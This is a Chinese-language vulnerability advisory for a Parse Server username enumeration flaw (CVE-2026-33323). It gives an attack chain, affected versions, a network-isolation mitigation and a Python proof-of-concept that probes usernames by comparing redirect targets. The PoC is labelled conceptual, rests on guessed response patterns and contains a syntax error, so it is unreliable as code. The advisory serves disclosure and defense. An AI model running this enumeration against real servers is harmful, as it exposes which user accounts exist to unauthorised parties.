IPBUF安全漏洞报告
English
CVE-2026-33323 CVSS 5.3 中危

CVE-2026-33323 Parse Server用户名枚举漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33323
漏洞类型
用户名枚举
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Parse Server

相关标签

用户名枚举信息泄露Parse Server认证绕过中危漏洞

漏洞概述

Parse Server在特定版本前存在安全漏洞。其Pages路由和legacy PublicAPI路由在处理重发邮件验证链接请求时,会根据用户名是否存在以及邮箱是否验证返回可区分的响应。未经身份验证的攻击者可利用此差异,通过观察重定向目标来枚举系统中的有效用户名,导致用户信息泄露。该漏洞绕过了默认的保护配置,现已修复。

技术细节

该漏洞源于Parse Server在处理邮件验证重发请求时的逻辑缺陷。攻击者无需身份认证,即可向Pages路由或legacy PublicAPI路由发送包含目标用户名的请求。如果用户名存在且邮箱未验证,服务器会重定向到特定目标;否则重定向到另一个位置。尽管默认启用的`emailVerifySuccessOnInvalidEmail`配置选项保护了标准API路由,但它并未覆盖这些特定路由。攻击者通过批量发送请求并比对响应差异(如HTTP重定向的Location头),可有效识别系统中存在的有效用户账号。

攻击链分析

STEP 1
侦察
攻击者发现目标系统使用的是存在漏洞的Parse Server版本,并识别出Pages路由或legacy PublicAPI路由的端点。
STEP 2
发送探测请求
攻击者向受影响的路由发送HTTP POST请求,请求中包含猜测的用户名,并设置不自动跟随重定向(allow_redirects=False)。
STEP 3
分析响应差异
攻击者检查服务器返回的HTTP状态码(通常为302)以及响应头中的Location字段。根据描述,针对有效用户名和无效用户名,重定向的目标位置会有显著区别。
STEP 4
枚举用户
通过自动化脚本批量测试用户名列表,并根据重定向目标的差异筛选出系统中实际存在的有效用户名。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_username(target_url, username): """ Conceptual PoC to check if a username exists by observing redirects. """ # The specific endpoint depends on the Parse Server configuration # e.g., /apps/:appId/resend_verification_email or similar legacy routes payload = {"username": username} try: # allow_redirects=False is crucial to observe the 302 response location response = requests.post(target_url, data=payload, allow_redirects=False) if response.status_code == 302: location = response.headers.get('Location') # Logic based on the description: distinguishable redirect targets # Example hypothesis: if "verify_email_success" in location: # Behavior implying user might exist or masked (depending on config) return f"[?] Username '{username}': Response indicates potential existence or masked state" elif "login" in location or "invalid" in location: # Behavior implying user does not exist return f"[-] Username '{username}': Not found" else: # Distinct behavior for unverified users return f"[+] Username '{username}': Found and unverified (Redirect: {location})") else: return f"[!] Unexpected status code: {response.status_code}" except Exception as e: return f"[!] Error: {str(e)}" # Example usage target = "http://vulnerable-parse-server.com/parse/resendVerificationEmail" print(check_username(target, "attacker")) print(check_username(target, "admin"))

影响范围

Parse Server < 8.6.51
Parse Server < 9.6.0-alpha.40

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面限制对Pages路由和legacy PublicAPI路由的访问权限,仅允许可信的内部IP调用。由于现有的配置选项无法修复此问题,网络隔离是主要的临时缓解手段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表